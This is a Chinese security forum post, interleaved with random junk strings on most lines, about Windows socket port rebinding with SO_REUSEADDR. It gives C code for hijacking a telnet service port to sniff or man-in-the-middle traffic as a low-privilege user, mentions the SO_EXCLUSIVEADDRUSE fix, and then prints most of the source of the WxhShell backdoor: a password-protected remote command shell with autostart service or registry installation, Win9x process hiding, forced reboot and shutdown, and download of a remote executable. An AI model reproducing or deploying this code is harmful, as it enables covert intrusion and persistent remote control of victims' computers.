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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'F~u \m=E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I F@M  
&d2/F i+  
  saddr.sin_family = AF_INET; o]j*  
<eI;Jph5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iOyYf!yg  
t&oNJq{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l%IOdco#  
E5 dXu5+ye  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (o|E@d  
'K!kJ9oqe  
  这意味着什么?意味着可以进行如下的攻击: )>/c/ B  
 96BMJE'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G1l(  
GB=q}@&8p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e'`oisJU?q  
N 4:'X6u;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 : ?V;  
?-f>zx8O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cr` 0C  
Yc$|"to  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )0Lq>6j9  
2Ar<(v$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zaZnL7ZJX  
RD4)NN6y5}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :U 9R 1^}A  
yV8).4  
  #include cm]]9z_<  
  #include gr;M  
  #include bm4W,  
  #include    1mX*0>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1 W0;YcT]  
  int main() 0D'Wr(U(  
  { |^F-.Z  
  WORD wVersionRequested; eZ!k'bS=  
  DWORD ret; Vo%d;>!G\;  
  WSADATA wsaData; $o/>wgQY-  
  BOOL val; @2mP  
  SOCKADDR_IN saddr; &0g,Xkr  
  SOCKADDR_IN scaddr; g|P hNo  
  int err; "jHN#}  
  SOCKET s; 82X.  
  SOCKET sc; Y8PT`7gd`  
  int caddsize; R+K[/AA  
  HANDLE mt; #RF=a7&F  
  DWORD tid;   ^6+x0[13  
  wVersionRequested = MAKEWORD( 2, 2 ); #jX>FXo  
  err = WSAStartup( wVersionRequested, &wsaData ); @I&"P:E0F;  
  if ( err != 0 ) { &Yg/ 08*  
  printf("error!WSAStartup failed!\n"); %gaKnT(|r  
  return -1; QP#Wfk(C  
  } wLtTC4D  
  saddr.sin_family = AF_INET; D}T, z  
   ]c)SVn$6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BGX@n#:  
}]I?vyQ#V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fDd!Mt  
  saddr.sin_port = htons(23); <IVz mzpL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z7q2+;L  
  { (5> ibe  
  printf("error!socket failed!\n"); =lwS\mNs  
  return -1; K +~v<F  
  } c #kV+n<  
  val = TRUE; *3$,f>W^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HhvG#Sam!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^aXBt  
  { X2cR+Ha0  
  printf("error!setsockopt failed!\n"); "b 0cj  
  return -1; h 6*`V  
  } U3}R^W~eb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vNC0M:p,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]D%k)<YK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N-gRfra+8L  
H#inr^Xa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E: GJ$I  
  { $J6.a!5IE  
  ret=GetLastError(); .jp]S4~  
  printf("error!bind failed!\n"); \#aVu^`eX  
  return -1; ?^~"x.<nr  
  } ~t={ \,X\  
  listen(s,2); NJ>p8P`_k  
  while(1) oui!fTy  
  { D,\=zX;  
  caddsize = sizeof(scaddr); prtxE&-  
  //接受连接请求 %7msAvbk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >|)0Amt  
  if(sc!=INVALID_SOCKET) ImY.HB^&  
  { >x4[7YAU{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ` l2q G#  
  if(mt==NULL) n5.>;N.*  
  { (x qA.(F  
  printf("Thread Creat Failed!\n"); Jj:6 c  
  break; |8 bO5l:  
  } {ah=i8$  
  } * Xoscc  
  CloseHandle(mt); Wq(l :W'  
  } R`2A-c  
  closesocket(s); L]d@D0.Z  
  WSACleanup(); W(h8!}  
  return 0; .gGvyscdH;  
  }   gE&W6z0fJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) hX m} d\  
  { ,dx)rZ*  
  SOCKET ss = (SOCKET)lpParam; m>ycN  
  SOCKET sc; s&hA  
  unsigned char buf[4096]; S |>$0P4W(  
  SOCKADDR_IN saddr; P/Kit?kngS  
  long num; hFMst%:y$  
  DWORD val; V:BX"$ J1  
  DWORD ret; AwU c{h l<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \oX8/-0f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R:<@+z^A[  
  saddr.sin_family = AF_INET; PuCDsojclh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4|N\Q=,  
  saddr.sin_port = htons(23); br  Z, s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /;AZ/Ocy!  
  { V<4+g/  
  printf("error!socket failed!\n"); c%@~%IGF  
  return -1; _i[)$EgFm  
  } Wi[m`#  
  val = 100; lVdT^"~3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M~Qj'VVL  
  { zN+* R;Ds  
  ret = GetLastError(); =kh>s$We  
  return -1; >:E* 7  
  } f&}A!uLe4x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &3Z. #*  
  { d-;9L56{P  
  ret = GetLastError(); .l+~)$  
  return -1; d:hL )x  
  } sD8 m<   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NOr <,  
  { W Gw!Y1wq  
  printf("error!socket connect failed!\n"); 2l@"p!ar=  
  closesocket(sc); =HY1l}\  
  closesocket(ss); kq~[k.  
  return -1; rEyz|k:  
  } ncattp   
  while(1) /%YiZ#  
  { E0 eQ9BXh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]1d,O^S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iv:/g|MBI&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /J.\p/%\  
  num = recv(ss,buf,4096,0); 6lmiMU&V  
  if(num>0) F`0c?)  
  send(sc,buf,num,0); ge):<k_  
  else if(num==0) b"M`@';+  
  break; eh:}X}c=J]  
  num = recv(sc,buf,4096,0); 4r[pMJiq  
  if(num>0) eKVALUw  
  send(ss,buf,num,0); w,Zx5bBg%  
  else if(num==0) Sf&?3a+f  
  break; jD/7/G*  
  } XDkS ^9  
  closesocket(ss); a3UPbl3^  
  closesocket(sc); /Pn.)Lxfl  
  return 0 ; {(Og/[  
  } *SkiFEoD  
j\'+wVyo  
|Vwc/9`t]>  
========================================================== g T XW2S  
+K;Y+ K&;2  
下边附上一个代码,,WXhSHELL )W]>\=@Y  
N pXgyD  
========================================================== wfDp,T3w7  
_t|G@D{   
#include "stdafx.h" +Cf0Y2*@hM  
e" Eqi-  
#include <stdio.h> qsihQ d  
#include <string.h> Ty3CBR{6  
#include <windows.h> 2K]IlsMO&  
#include <winsock2.h> >AQ) x  
#include <winsvc.h> (@ fa~?v>@  
#include <urlmon.h> @1v3-n=  
kz0I2!bt  
#pragma comment (lib, "Ws2_32.lib") i)7n c  
#pragma comment (lib, "urlmon.lib") ]Y4q'KH  
> X[|c"l.  
#define MAX_USER   100 // 最大客户端连接数 p9AZ9xr  
#define BUF_SOCK   200 // sock buffer ]D LZ&5pv  
#define KEY_BUFF   255 // 输入 buffer OG`|td  
goDV2 alC^  
#define REBOOT     0   // 重启 )C>}"#J>  
#define SHUTDOWN   1   // 关机 ZU-4})7uSB  
3J'73)y  
#define DEF_PORT   5000 // 监听端口 LAv:+o(m/  
"Su b4F`  
#define REG_LEN     16   // 注册表键长度 4<T*i{[  
#define SVC_LEN     80   // NT服务名长度 wfBuU>  
7deAr$?Wx  
// 从dll定义API |Bx||=z`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eQU-&-wt0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q`S iV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  ofMu3$Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nAo8uWG  
d"B@c;dD  
// wxhshell配置信息 J}Qs"+x  
struct WSCFG { s~=KhP~  
  int ws_port;         // 监听端口 qr)v'aC3  
  char ws_passstr[REG_LEN]; // 口令 i}PK $sa#c  
  int ws_autoins;       // 安装标记, 1=yes 0=no L#`2.nU  
  char ws_regname[REG_LEN]; // 注册表键名 EI1W .V>@  
  char ws_svcname[REG_LEN]; // 服务名 *A?8F"6>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +`;+RDKY*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0A#*4ap  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & u$(NbK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vG]GQ#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x37/cu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s0cs'Rg  
nJFk4v4:2  
}; .E+OmJwD  
"jL1. 9%"  
// default Wxhshell configuration tJ=3'?T_k  
struct WSCFG wscfg={DEF_PORT, (M ]XNn  
    "xuhuanlingzhe", Dv<wge`  
    1, f).*NX  
    "Wxhshell", CO-Iar  
    "Wxhshell", /8xH$n&xoC  
            "WxhShell Service", N'I(P9@  
    "Wrsky Windows CmdShell Service", izMYVI?0  
    "Please Input Your Password: ", [34zh="o  
  1, 1ZT^)/G  
  "http://www.wrsky.com/wxhshell.exe", Wrmgu}q  
  "Wxhshell.exe" 3A-*vaySV  
    }; >M?H79fF2s  
!|:RcH[  
// 消息定义模块 7\mDBG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :?HSZocf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %'N$l F"]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !*&4< _  
char *msg_ws_ext="\n\rExit."; Z6 ;Wd_  
char *msg_ws_end="\n\rQuit."; 807al^s x  
char *msg_ws_boot="\n\rReboot..."; bqSMDK  
char *msg_ws_poff="\n\rShutdown..."; JXH",""bq  
char *msg_ws_down="\n\rSave to "; glv ;C/l  
`9/0J-7*  
char *msg_ws_err="\n\rErr!"; ^_@r.y]  
char *msg_ws_ok="\n\rOK!"; = 0 ,|/1~  
6\NvG,8  
char ExeFile[MAX_PATH]; -*?p F_*w  
int nUser = 0; R"@7m!IA  
HANDLE handles[MAX_USER]; v@VLVf)>9^  
int OsIsNt; E W`W~h[  
jDR')ascn  
SERVICE_STATUS       serviceStatus; FJ{=2]x|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6DB0ni  
d$w(-tV42  
// 函数声明 C 8N%X2R  
int Install(void); C1b*v&1{  
int Uninstall(void); z. 'Fv7  
int DownloadFile(char *sURL, SOCKET wsh); tl|ijR  
int Boot(int flag); w4UD/zO  
void HideProc(void); >w9sE8i  
int GetOsVer(void); ;_}~%-_ ~  
int Wxhshell(SOCKET wsl); KYp[Gs  
void TalkWithClient(void *cs); AcKU^T+  
int CmdShell(SOCKET sock); iC\%_5/ _  
int StartFromService(void); axX{6  
int StartWxhshell(LPSTR lpCmdLine); u t$c)_  
j !`B'{cH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $!f !,fw+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IroPx#s:i  
/0(%(2jIWl  
// 数据结构和表定义 }3Qc 24`  
SERVICE_TABLE_ENTRY DispatchTable[] = @K\o4\  
{ sm0fAL  
{wscfg.ws_svcname, NTServiceMain}, GMl"{ Oxo&  
{NULL, NULL} H<g 1m  
}; /jM_mrpz  
i0>]CJG  
// 自我安装 ?ty>}.c t  
int Install(void) >z(wf>2J  
{ 'r\ 4}Ik  
  char svExeFile[MAX_PATH]; 1w`2Dt  
  HKEY key; LT/mb2  
  strcpy(svExeFile,ExeFile); S#tY@h@XV  
6ZcXS  
// 如果是win9x系统,修改注册表设为自启动 @OzMiN  
if(!OsIsNt) { Hfh!l2P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fN@{y+6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pe.Ml7o"  
  RegCloseKey(key); >%u@R3PH]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AotCX7T2T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #.H}r6jqs  
  RegCloseKey(key); X3<K 1/<  
  return 0; P;73Hr[E#  
    } \8{\;L C  
  } 1c$vLo832  
} =>qTNh*'  
else { 7tRi"\[5  
,[* ;UR  
// 如果是NT以上系统,安装为系统服务 U6<M/>RG$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d`mD!)j  
if (schSCManager!=0) )hBE11,PB  
{ cL G6(<L  
  SC_HANDLE schService = CreateService rh66_eV  
  ( E;9>ePd@  
  schSCManager, k[ %aCGo  
  wscfg.ws_svcname, lNz]H iD  
  wscfg.ws_svcdisp, 6Z?Su(s(5  
  SERVICE_ALL_ACCESS, RbEKP(uw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3#c3IZ-;  
  SERVICE_AUTO_START, YHB9mZi  
  SERVICE_ERROR_NORMAL, 1'JD=  
  svExeFile, r{_>ldjq  
  NULL, E8ta|D  
  NULL, BJk Z2=  
  NULL, zU&L.+   
  NULL, {e"dm5  
  NULL uR$i48}  
  );  .t =  
  if (schService!=0) BRzfic :e  
  { 0J9D"3T)  
  CloseServiceHandle(schService); \vRd}   
  CloseServiceHandle(schSCManager); ]A^4}CK^<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "hQgLG  
  strcat(svExeFile,wscfg.ws_svcname); #$E)b:xj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jo9gCP.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lyv4fP  
  RegCloseKey(key); O$D?A2eI  
  return 0; ;SY\U7B\  
    } aJzLrX  
  } cE\>f8 I  
  CloseServiceHandle(schSCManager); .UQE{.?  
} i{Ds&{  
} <CZgQ\Mt  
, jU5|2  
return 1; $!B}$I;cd  
} 6;iJ*2f5V  
`XKVr  
// 自我卸载 x#*QfE/E(@  
int Uninstall(void) 3I  $>uR  
{ 9t$]X>}  
  HKEY key; %%JMb=!%2  
AXPMnbUS  
if(!OsIsNt) { ~Lz%.a;o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /?*]lH.  
  RegDeleteValue(key,wscfg.ws_regname); q%i-`S]}qL  
  RegCloseKey(key); cBXWfv4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G8J*Wnwu[K  
  RegDeleteValue(key,wscfg.ws_regname); [0y$! f4  
  RegCloseKey(key); E\U`2{^.  
  return 0; />44]A<  
  } ,|h)bg7.  
} 2VGg 6%  
} ,r8Tbk]m  
else { \r {W  
_S`o1^Ad  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CU)|-*uiK  
if (schSCManager!=0) 2=iH$v  
{ C\*4q8(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,xfO;yd  
  if (schService!=0) 8gy_Yj&{P  
  { gckI.[!b  
  if(DeleteService(schService)!=0) { IzLQhDJ1  
  CloseServiceHandle(schService); y[?-@7i  
  CloseServiceHandle(schSCManager); qfoD  
  return 0; {d<;BLA  
  } F?-R$<Cn2~  
  CloseServiceHandle(schService); aZ|=(]  
  } N?P%-/7  
  CloseServiceHandle(schSCManager); oCS2E =O&  
} nNt1C  
} Zd:Taieh@  
0#*Lw }qi  
return 1; 5jxQW ;  
} ZJ*g)) k7  
'#/G,%m<!i  
// 从指定url下载文件 U#&7p)4(  
int DownloadFile(char *sURL, SOCKET wsh) ;j8 )KC  
{ 3?n>yS  
  HRESULT hr; YXo|~p;=Y  
char seps[]= "/"; Z\}K{#   
char *token; T~_/Vi  
char *file; uxaYCa?  
char myURL[MAX_PATH]; ({WyDu&=  
char myFILE[MAX_PATH]; A:l@_*C..  
/FP5`:PfL  
strcpy(myURL,sURL); Q[F}r`  
  token=strtok(myURL,seps); Y!J>U  
  while(token!=NULL) ??60,m:]  
  { NKb1LbnZ*y  
    file=token; $37 g]ZD  
  token=strtok(NULL,seps); %ru;;h  
  } ,\2:/>2  
zOgTQs"ZH  
GetCurrentDirectory(MAX_PATH,myFILE); F# T 07<  
strcat(myFILE, "\\"); \;u@"  
strcat(myFILE, file); qt%D'  
  send(wsh,myFILE,strlen(myFILE),0); v[e:qi&fG  
send(wsh,"...",3,0); )B,|@ynu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1K,1X(0rL8  
  if(hr==S_OK) \^7C0R-hX  
return 0; OyV<u@[i  
else L@`ouQ"sa  
return 1; ~w8JH2O  
sm[94,26  
} ';Zi@f"  
z4M9M7)"  
// 系统电源模块 ?;/^Ya1;Z  
int Boot(int flag) $Iv2j">3)  
{ W"^wnGa@a  
  HANDLE hToken; a<}#HfC;'  
  TOKEN_PRIVILEGES tkp; ]0hrRA`  
Mj[f~  
  if(OsIsNt) { B(xN Gs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >{\7&}gz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )XcOl7XLN  
    tkp.PrivilegeCount = 1; W @|6nPm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +)o}c"P!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `\Hf]b  
if(flag==REBOOT) { A+hT3;lp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (jU6GJRP  
  return 0; >h0-;  
} M9zfT !-  
else { {pM?5"M MJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L|bwZ,M=}?  
  return 0; q[`j`8YY!R  
} b& 1`NO  
  } y6]vl=^L  
  else { Uf}\p~;  
if(flag==REBOOT) { C4TE-OM8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s(X;Eha  
  return 0; P(F+f `T  
} KM^ufF2[  
else { a7N!B'y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3Zi@A4Wu  
  return 0; da)NK!  
} -B86U6^s  
} ^%O]P`$  
xhcK~5C  
return 1; \=_{na_  
} Y ')x/H  
0}_[DAd6  
// win9x进程隐藏模块 giz7{Ai  
void HideProc(void) gz3pX#S  
{ yj^+ G  
$56,$K`H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xyI}y(CN1  
  if ( hKernel != NULL ) /7gOSwY  
  { q$=#A7H>3)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (<^yqH?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w*R$o  
    FreeLibrary(hKernel); 8By|@LO  
  } eq U ME  
Ol!ntNhXm  
return; _%QhOY5tv"  
} 6Fe34n]m  
`r?7oxN  
// 获取操作系统版本 K4kMM*D  
int GetOsVer(void) ,G)r=$XU  
{ T#>7ub  
  OSVERSIONINFO winfo; o"*AtGR+"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 812$`5l  
  GetVersionEx(&winfo); t.;LnrY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~?(N  
  return 1; rS;Dmm  
  else Fi0GknQ+  
  return 0; EAM5{Nc  
} I'LnI*  
1')%`~  
// 客户端句柄模块 '3g[]M@M  
int Wxhshell(SOCKET wsl) "s{5O>  
{ )rC6*eR  
  SOCKET wsh; r(P(Rj2~  
  struct sockaddr_in client; @Z12CrJ  
  DWORD myID; #"B\UN  
^jx7@LgS=  
  while(nUser<MAX_USER) P?k0zwOlBl  
{ ]UmFhBR-  
  int nSize=sizeof(client); sIy^m}02  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >6?__v]9G  
  if(wsh==INVALID_SOCKET) return 1; ,k;^G>< =  
1u:< 25  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =|Y,+/R?  
if(handles[nUser]==0) }"|K(hq  
  closesocket(wsh); , 'u W*kx  
else qw^uPs7Uw  
  nUser++; adR)Uq9  
  } 3xaR@xjS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cH&J{WeZa  
-[wGX}}  
  return 0; aJ>65RJ^=  
} ;<ZLc TL  
S Em Q@1  
// 关闭 socket | AozR ~  
void CloseIt(SOCKET wsh) N(Tz%o4  
{ @"^0%/2-  
closesocket(wsh); hbY5l}\5  
nUser--; tIuCct-  
ExitThread(0); .?loO3 m  
} :s7m4!EF  
\hx1o\  
// 客户端请求句柄 &__es{;P  
void TalkWithClient(void *cs) r/u A.Aou^  
{ xjKR R?  
G U( _  
  SOCKET wsh=(SOCKET)cs; `)_dS&_\  
  char pwd[SVC_LEN]; r2,.abo  
  char cmd[KEY_BUFF]; N(Fp0  
char chr[1]; {A05u3}  
int i,j; 'ZDp5pCC;  
oY933i@l)P  
  while (nUser < MAX_USER) { AT2nVakL  
75XJL;W #  
if(wscfg.ws_passstr) { kH G"XTL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q$zO83  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |Uc_G13Y{D  
  //ZeroMemory(pwd,KEY_BUFF); f,018]|  
      i=0; 6G[4rD&  
  while(i<SVC_LEN) { *GL/aEI<$  
~T1 XLu  
  // 设置超时 M`,)wi  
  fd_set FdRead; zem8G2#c  
  struct timeval TimeOut; "eB$k40-  
  FD_ZERO(&FdRead); uM_wjP  
  FD_SET(wsh,&FdRead); @`q:IIgW  
  TimeOut.tv_sec=8; EK6:~  
  TimeOut.tv_usec=0; Bu#VMk chJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wAf\|{Vn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qVH1}9_  
.\)U@L~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &m-PC(W+  
  pwd=chr[0]; E87Ww,z8  
  if(chr[0]==0xd || chr[0]==0xa) { E2R&[Q"%  
  pwd=0; 6ZP(E^.  
  break; LG9+y  
  } leTf&W  
  i++;  W\d{a(*  
    } =T HpdtL  
fSK]|"c  
  // 如果是非法用户,关闭 socket JB<Sl4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); um!J]N^  
} Rh_np  
O$_)G\\\m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g?z/2zKR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (nf~x  
A kC1z73<  
while(1) { $w2u3 -  
,!#*GZ.ix  
  ZeroMemory(cmd,KEY_BUFF); ME46V6[LX]  
%4et&zRC  
      // 自动支持客户端 telnet标准   pwL ;A3$|  
  j=0; mr*JJF0Z  
  while(j<KEY_BUFF) { J8uLJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 47+&L   
  cmd[j]=chr[0]; lr>oYS0  
  if(chr[0]==0xa || chr[0]==0xd) { j*so9M6|c  
  cmd[j]=0; }X)&zenz  
  break; Wh+{mvu#  
  } r`W)0oxD  
  j++; \<JSkr[h!"  
    } WA)yfo0A  
p>RNPrT  
  // 下载文件 _=_Px@<Q  
  if(strstr(cmd,"http://")) { Qu?R8+"KS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n.'8A(,r3  
  if(DownloadFile(cmd,wsh)) cv998*|X:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xST8|H  
  else KHe=O1 %QO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uzz'.K(Mv|  
  } nw-xSS{  
  else { 7Ri46Tkt  
[ey:e6,T9  
    switch(cmd[0]) { 1"zDin!A  
  @e(o129  
  // 帮助 +giyX7BPJ  
  case '?': { {@6= Q 6L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G`SUxhCk  
    break; K0-ypU*P  
  } HePUWL'  
  // 安装 6t>.[Y"v  
  case 'i': { D>/0v8  
    if(Install()) LLk(l#K*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77C'*tt1]  
    else o3Yb7h9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .`HYA*8_  
    break; E27vR 7  
    } |L%Z,:yO  
  // 卸载 ?5C!<3gM)  
  case 'r': { sD{Wxv  
    if(Uninstall()) F_w Z"e6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x2OaPlG,&V  
    else N4^-`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m? eiIrMW  
    break; q$I;dOCJ,  
    } 5b*M*e&=C  
  // 显示 wxhshell 所在路径 K{&mI/ ;  
  case 'p': { nxUJN1b!N  
    char svExeFile[MAX_PATH]; _-q.Q^  
    strcpy(svExeFile,"\n\r"); pWy=W&0~qf  
      strcat(svExeFile,ExeFile); YLqGRE`W  
        send(wsh,svExeFile,strlen(svExeFile),0); oe%} ?u  
    break; $@z5kwx:P  
    } .z]Wyx&/U  
  // 重启 +]*zlE\N`  
  case 'b': { ozmrw\_}[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %-)H^i~]%  
    if(Boot(REBOOT)) )2Wi `ZT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7|{}\w(I  
    else { ;nep5!s;<  
    closesocket(wsh); o|>'h$  
    ExitThread(0); C"6?bg5N  
    } kE:nsXI )  
    break; <Wfx+F  
    } PPb7%2r  
  // 关机 D?;"9e%  
  case 'd': { ~Mx!^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :}5j##N  
